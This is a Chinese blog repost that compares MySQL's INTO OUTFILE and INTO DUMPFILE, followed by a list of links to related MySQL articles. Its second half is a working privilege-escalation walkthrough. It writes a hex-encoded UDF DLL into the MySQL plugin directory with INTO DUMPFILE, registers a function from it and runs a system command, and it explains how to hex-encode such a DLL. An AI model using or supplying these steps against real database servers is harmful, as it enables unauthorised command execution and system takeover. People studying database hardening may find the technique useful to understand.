mysql outfile 变量_转mysql dumpfile 与 outfile 函数的区别
一直以为两个函数作用是相同的 经过简单测试发现还是有些区别的 如下表admin mysql select * from admin; +-----+-----------+---------+ | uid | name | pass | +----+------------+---------+ | 1 | admin | baidusb | | 2 | root | hacksb | | 3 | manage
一直以为两个函数作用是相同的
经过简单测试发现还是有些区别的
如下表admin
mysql> select * from admin;
+-----+-----------+---------+
| uid | name | pass |
+----+------------+---------+
| 1 | admin | baidusb |
| 2 | root | hacksb |
| 3 | manage | nimei |
| 4 | boss | helensb |
| 5 | guanli | admin |
| 6 | superuser | G0Ood |
+----+------------+---------+
mysql> select * from admin into outfile '/home/seclab/test/test1.txt';
Query OK,1 row affected (0.00 sec)
我是想将这些内容 导出到 一个txt文件,事实上是可以完整导出每行记录的.
这个很适合导库
而into dump是不行的 它只能导出 一行数据!
若我们想把一个 可执行2进制 文件用into outfile函数导出
事实上 导出后 就会被破坏
因为into outfile 函数 会 在行末端写入新行 更致命的 是会转义 换行符
这样的话这个2进制可执行 文件 就会被破坏
这时候我们用into dumpfile 就能导出 一个完整能执行的2进制 文件
into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理
如在无web脚本 执行 但是有mysql root 执行的环境下 我们就可以 通过
into dump 函数导入udf.dll进行提权
mysql> show variable like '%plugin%';
+----------------+------------------------------------------+
|Variable_name | Value |
+----------------+------------------------------------------+
| plugin_dir |c:\mysql\mysql server 5.1\lib/plugin |
+----------------+------------------------------------------+
mysql> select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select * from func; #查看是否有人创建过udf 如果有就可以省略
mysql> create function MyCmd returns string soname ''c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
mysql> select MyCmd('whoam');
一点小知识点:
如何获取该udf.dll文件的16进制值(hex)?
我们可以本地搭建mysql环境 找个可以用的udf.dll文件 执行下面操作
mysql> select hex(load_file ('c://temp/xxoo.dll')) into outfile 'c:/windows/temp/xxoo.txt';
如何获取该udf插件的内置 函数?
通过C32 等16进制 编辑器 或直接通过记事本 打开 看关键字 即可
摘自 http://hi.baidu.com/evilrapper/blog/item/5a36f290c9b54692a877a46a.html
mysql outfile 变量_转mysql dumpfile 与 outfile 函数的区别相关推荐
- mysql 表变量_在MySQL中创建表变量
也许临时表会做你想要的.CREATE TEMPORARY TABLE SalesSummary (product_name VARCHAR(50) NOT NULL, total_sales DECI ...
- MySQL学习笔记_关于MySQL的字符类型VARCHAR长度知识总结
MySQL学习笔记_关于MySQL的字符类型VARCHAR长度知识总结 一.VARCHAR存储和行长度限制 1.VARCHAR(N)中,N指的是字符的长度,VARCHAR类型最大支持65535,指的是 ...
- MySQL数据库变量_数据库参数_MySQL变量_系统变量_用户变量
文章目录 MySQL 变量分类 系统变量 查看系统变量 设置系统变量 如何通过配置文件来设置变量值 通过命令行选项来设置变量值 动态设置全局级的系统变量 设置静态的系统变量 设置会话级的系统变量 引用 ...
- mysql核心数据库_从MySQL基础进军MySQL核心架构 178集MySQL数据库核心基础视频教程 MySQL基础案例教程...
从MySQL基础进军MySQL核心架构 178集MySQL数据库核心基础视频教程 MySQL基础案例教程 课程目录 (1) 01MySQL基础_课程引入.avi (2) 02MySQL基础_为什么学习 ...
- mysql emoji表情_让MySQL支持Emoji表情 mysql 5.6
最近在做微信相关的项目,其中MySQL 要存储emoji表情,因此发现我们常用的utf8 字符集根本无法存储表情.网上有不少替代方案.本人还是采用了修改MySQL字符集的方案简单快捷. 首先将我们数据 ...
- mysql解析运行时间_分析 MySQL 语句运行时间
为了验证select 1 与 select 1 from tableName 与 select * from tableName的执行效率,需要测试一下各自执行的时间.于是总结一下,查看mysql语句 ...
- mysql 客户端 交叉编译_移植mysql到嵌入式ARM平台
移植MySQL到嵌入式ARM平台 MySQL没有专门针对ARM的版本,移植到ARM没有官方文档可参考,因此,暂时参考这样一篇文档: http://blog.chinaunix.net/space.ph ...
- 安装mysql出现错误_安装Mysql时出现错误及解决办法
因为一时手痒痒更新了一下驱动,结果导致无线网卡出了问题.然而就算是从官网上下载了驱动各种折腾也没有弄好,心里特别堵.无奈只有重装系统这一条路了.这里表示特别难过,因为电脑上东西实在太多了,而且各种环境 ...
- linux mysql依赖关系_[Linux]-MySQL主从复制
MySQL支持的复制类型: 1) 基于语句的复制.在主服务器上执行的SQL语句,在从服务器上执行同样的语句.MySQL默认采用基于语句的复制,效率比较高: 2) 基于行的复制.把改变的内容复制过去,而 ...
最新文章
- Java Swing 皮肤
- EOS page问题
- php curl的数据后台如何接收,PHP curl以模拟put请求,后台无法接受到数据是怎么回事?...
- 汇编-输出寄存器的值-输出值
- linux games账号,linux for games
- Dubbo——面试问题集(1~3)
- 【UVA - 11383】Claw Golden Tiger (二分图最优匹配,KM算法原理)
- 【MyBatis笔记】17-多对多做左连接查询(查询老师,并且把关联的学生也查出来)
- EPOLL AND Nonblocking I/O
- Java面试题之 static执行顺序
- 服务器打微软补丁后无法启动,关于打了最新微软补丁后,针式打印机突然不好打印的处理方法。...
- 苹果出现长方形透明框_安卓还像苹果用户所说用两年就卡吗?|安卓|安卓系统|安卓手机|苹果ios...
- Freebase调研(持续更新中)
- php ajax向后台怎么传数组,利用ajax传递数组及后台接收的方法详解
- 【第 13 章 基于霍夫曼图像压缩重建--Matlab深度学习实战图像处理应用】
- 物联网通信技术--信息的概念
- Android Studio利用时钟控件AnalogClock显示模拟时钟以及TextClock显示数字时钟
- 基于virtualBox虚拟机构建IOS混合应用打包环境
- 库卡机器人会卡顿吗_一分钟告诉你库卡机器人示教器使用时可能遇到的问题
- fiture“魔镜”售价八千,谁在利用年轻人的身材焦虑?
热门文章
- C和指针之动态内存分配malloc、calloc、realloc简单使用和区别
- 实现html5音乐的自动播放,html5中audio实现播放列表和自动播放
- python包实际怎么使用_Python--模块与包
- oracle中行数少于1000,oracle中in的个数超过1000的解决办法
- 通过发声可以把杯子震碎吗?
- 在职场中,长得漂亮真的有用吗?
- python if main_Python:if __name__ == '__main__'
- 求职学习笔记|并发编程知识点常见问题总结(一)
- java程序弊端_面向对象编程的弊端是什么?
- 如何给远程计算机添加用户,如何访问远程计算机以添加/删除/管理用户帐户?...